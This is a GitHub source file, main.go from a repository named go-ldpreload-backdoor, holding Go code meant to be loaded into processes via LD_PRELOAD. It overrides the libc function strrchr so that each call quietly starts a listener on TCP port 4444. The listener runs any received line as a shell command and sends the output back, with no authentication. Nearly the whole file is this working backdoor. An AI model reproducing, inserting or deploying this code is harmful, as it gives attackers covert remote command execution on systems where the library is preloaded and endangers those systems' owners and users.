forked from mattbostock/go-ldpreload-backdoor
/
main.go
71 lines (55 loc) · 1.06 KB
/
main.go
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package main
import (
"C"
"bufio"
"log"
"net"
"net/textproto"
"os/exec"
"github.com/rainycape/dl"
)
// main is required to build a shared library, but does nothing
func main() {}
//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
go backdoor()
lib, err := dl.Open("libc", 0)
if err != nil {
log.Fatalln(err)
}
defer lib.Close()
var old_strrchr func(s *C.char, c C.int) *C.char
lib.Sym("strrchr", &old_strrchr)
return old_strrchr(s, c)
}
func backdoor() {
ln, err := net.Listen("tcp", ":4444")
if err != nil {
return
}
for {
conn, err := ln.Accept()
if err != nil {
continue
}
go handleConnection(conn)
}
}
func handleConnection(conn net.Conn) {
reader := bufio.NewReader(conn)
tp := textproto.NewReader(reader)
for {
input, err := tp.ReadLine()
if err != nil {
log.Println("Error reading:", err.Error())
break
}
cmd := exec.Command("/usr/bin/env", "sh", "-c", input)
output, err := cmd.CombinedOutput()
if err != nil {
conn.Write([]byte(err.Error() + "\n"))
}
conn.Write(output)
}
conn.Close()
}